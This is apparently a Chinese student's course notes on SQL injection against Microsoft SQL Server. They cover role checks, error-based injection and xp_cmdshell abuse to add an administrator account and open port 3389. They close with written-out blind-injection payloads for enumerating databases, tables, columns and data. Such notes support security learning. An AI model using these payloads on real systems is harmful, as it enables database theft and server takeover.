DAY8:SQL注入7-SQLserver

一、MSSQL基本使用
1. 增删改查

 

 

 
二、MSSQL权限控制
1. MSSQL角色
*****服务器默认的public角色的权限是最低
*****MySQL只涉及了数据库权限,要么是有最高数据库权限的root账号,要么是没有数据库最高权限的非root账号
 
2. SQLserver里面的数据库级别设置
含义:

 

 

3. 固定服务器角色(sysadmin简称sa,是服务器角色的最高权限
判断服务器角色是否为sysadmin,是返回1,不是返回0
select is_srvrolemember('sysadmin')
 
4. 固定数据库角色(db_owner是数据库角色的最高权限
判断数据库角色是否为db_owner,是返回1,不是返回0
select is_member('db_owner')
 
5. 权限控制扩展
 
 
三、MSSQL注入
1. MSSQL手工注入
这里--后面不用加空格,直接表示注释
判断堆叠注入后面可以接任意语句,若页面正常返回则支持
以下方法用的是报错注入,若无报错则不能用此方法
quotename()函数将结果转换为字符型
sys和dbo默认可以省略,但最好还是加上,若省略则是两个点

 

 

2. 获取数据库版本,利用的是报错注入
windows NT 5.2即windows server 2003
 
3. 常用视图

 

 

4. 扩展存储过程
*****重点了解xp_cmdshell,只有sa权限可以调用xp_cmdshell

 

 

5. 检测与恢复扩展存储
新增用户ichunqiu并添加到administrators用户组
然后可以通过3389端口用新建的账号远程连接服务器
若服务器未开放3389端口,则再次调用xp_cmdshell执行命令开启3389端口
 
6. 检测SP_MAKEWEBTASK(备份功能)
差异备份/完整备份,不需要sa权限
 
7. 其他扩展存储

 

 

8. 课后阅读
MSSQL注入方式进阶
MSSQL注入总结
MSSQL报错注入
MSSQL union注入
MSSQL的union注入时,每一列的类型要相同,若不知道类型就用null
MSSQL盲注
①查数据库个数
and (select count(name) from master.sys.databases)=7
②查当前数据库名
and ascii(substring((db_name()),1,1))>48
③查所有数据库名
and ascii(substring((select name from master.dbo.sysdatabases where dbid=1),1,1))>48
and ascii(substring((select top 1 name from master.dbo.sysdatabases where name not in ('第一个库名', '第二个库名',,,,,,’第N-1个数据库名’)),N,1)) >= 56
④查表名
and ascii(substring((select top 1 name from 数据库名.sys.sysobjects where xtype = 'U' and name not in ('第一个表名','第二个表名',,,,,,'第N-1个表名')),N,1)) >= 9
⑤查列名
and ascii(substring((select top 1 name from 数据库名.sys.syscolumns where id=(select id from 数据库名.sys.sysobjects where xtype='U' and name='表名') and name not in ('第一个列名')),N,1)) >= 65
⑥获取数据
and ascii(substring((select top 1 列名 from 表名),N,1)) >= 65

 

 
 
posted @ 2019-10-07 16:56  年糕SDS  阅读(592)  评论(0)    收藏  举报